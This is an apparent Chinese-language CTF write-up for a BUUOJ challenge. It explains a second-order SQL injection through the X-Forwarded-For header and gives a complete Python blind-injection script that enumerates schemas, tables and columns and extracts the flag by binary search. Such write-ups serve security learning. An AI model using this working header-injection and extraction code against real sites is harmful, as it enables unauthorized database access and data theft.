題目

image.png

image.png

知識點

• X-Forwarded-For注入
• 二次注入
• 盲注

image

看了wp，知道注入點在X-Forwarded-For處，而且是個二次注入

回顯的地方在這里

image

我們第一次輸入

<pre>1' or '1</pre>

第二次和第三次都輸入相同的數(shù)據(jù)，比如111

由于第一次輸入的1' or '1和第二次輸入的111不一樣，回顯

image

此時1' or '1 已經(jīng)存入數(shù)據(jù)庫中，而且111與1' or '1不一樣，所以服務(wù)器不會從數(shù)據(jù)庫里查找1' or '1，而是直接把上次的IP顯示出來

當我們再輸入一次111，即第三次的輸入。此時的111與前面輸入的111相同，相當于模擬ip不再變化，此時服務(wù)器要從數(shù)據(jù)庫中查111的last ip，就會執(zhí)行 1' or '1

貼一下代碼，注意flag不在當前數(shù)據(jù)庫中

# coding:utf-8 
import requests
import time
url = 'http://node3.buuoj.cn:25869/'

res = ''
for i in range(1,200):
    print(i)
    left = 31
    right = 127
    mid = left + ((right - left)>>1)
    while left < right:
        #payload = "0' or (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema = 'F4l9_D4t4B45e'),{},1))>{}) or '0".format(i,mid)
        #payload  = "0' or (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name = 'F4l9_t4b1e'),{},1))>{}) or '0".format(i,mid)
        payload = "0' or (ascii(substr((select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e),{},1))>{}) or '0".format(i,mid)
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    }
        r = requests.post(url = url, headers = headers)

        payload = '111'
        headers = {
                    'Cookie': 'track_uuid=6e17fe5e-140c-4138-dea6-d197aa6214e3',
                    'X-Forwarded-For': payload
                    } 
        r = requests.post(url = url, headers = headers)


        if r.status_code == 429:
            print('too fast')
            time.sleep(2)
        if 'Last Ip: 1'  in r.text:
            left = mid + 1
        elif 'Last Ip: 1' not in r.text:
            right = mid 
        mid = left + ((right-left)>>1)
    if mid == 31 or mid == 127:
        break
    res += chr(mid)
    print(str(mid),res)
    time.sleep(1)
# information_schema,ctftraining,mysql,performance_schema,test,ctf,F4l9_D4t4B45e
#F4l9_t4b1e
#F4l9_C01uMn